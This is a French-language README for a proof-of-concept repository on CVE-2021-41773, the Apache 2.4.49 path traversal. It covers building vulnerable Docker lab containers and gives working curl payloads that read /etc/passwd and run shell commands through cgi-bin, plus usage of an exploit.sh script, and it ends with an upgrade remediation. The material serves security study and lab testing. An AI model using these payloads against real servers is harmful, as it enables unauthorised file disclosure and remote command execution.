CVE-2021-41773
Path Traversal in Apache HTTP Server 2.4.49
Résumé
Une vulnérabilité a été découverte sur la version 2.4.49 de apache.
Cette vulnérabilité permet une attaque LFI (Local File Inclusion) permettant de lire le contenu de fichiers normalement innaccessible.
Dans la configuration par défaut, l'exploitation de cette vulnérabilité nous permet de lire tous les fichiers du répertoire CGI-BIN ainsi que du répértoire racine du service web (/usr/local/apache2/htdocs par défaut). Cela donne la possibilité à un attaquant de lire le code source de fichier interprété tel que des fichiers php ou cgi-bin.
Une mauvaise configuration de ce service permet d'élargir la vulnérabilité à une inclusion de fichier de tous le système (sous-réserve de disposer des droits d'accès) ainsi qu'une RCE (Remote Command Execution).
Proof Of Concepts
PoC Installation par défaut
Je ne partagerais pas de PoC avec l'installation par défaut car voir le code source d'une page html n'est pas des plus utile et je ne connais pas de conteneur Docker tournant sous apache 2.4.49 avec php d'activé afin de faire un poc digne de ce nom.
POC LFI accrue par mauvaise configuration
Explication
La configuration par défaut présente ci-dessous est souvent modifié afin d'en alléger la sécurité.
<Directory />
AllowOverride none
Require all denied
</Directory>
C'est lors de la suppression du paramètre "Require all denied" que le service devient vulnérable.
En effet, cela permet à l'attaquant, de lire le contenu de tous les fichiers présents sur le système.
<Directory />
AllowOverride none
</Directory>
Docker Vulnérable
Création de l'image vulnérable
cd apache_lfi_all
docker image build -t vuln_apache_lfi .
Lancement du conteneur
docker run --name conteneur_vuln_apache_lfi -p 8080:80 vuln_apache_lfi
POC
curl --silent --path-as-is --insecure "127.0.0.1:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" -v
POC RCE
Explication
Si l'exécution des cgi-bin est activé, il est alors possible d'exécuter des commandes à distances.
Docker Vulnérable
Création de l'image
cd apache_rce
docker image build -t vuln_apache_rce .
Lancement du conteneur
docker run --name conteneur_vuln_apache_rce -p 8080:80 vuln_apache_rce
POC
curl -d "echo;id" --insecure "127.0.0.1:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh"
Exploit
- -h [IP] -> pour définir l'adresse ip cible
- -c pour -> Pour vérifier les deux vulnérabilités
- -r [CMD] -> Pour exécuter une commande à distance
- -l [PATH] -> Pour afficher le contenu d'un fichier
Exemple test de vulnérabilités :
./exploit.sh -c -h 127.0.0.1:8080
Exmple exploitation LFI :
./exploit.sh -h 127.0.0.1:8080 -l /etc/passwd
Exemple exploitation exécution de commande :
./exploit.sh -h 127.0.0.1:8080 -r id
Remediation
Afin de corriger cette vulnérabilité, il est nécéssaire de mettre à jour apache vers la version 2.4.50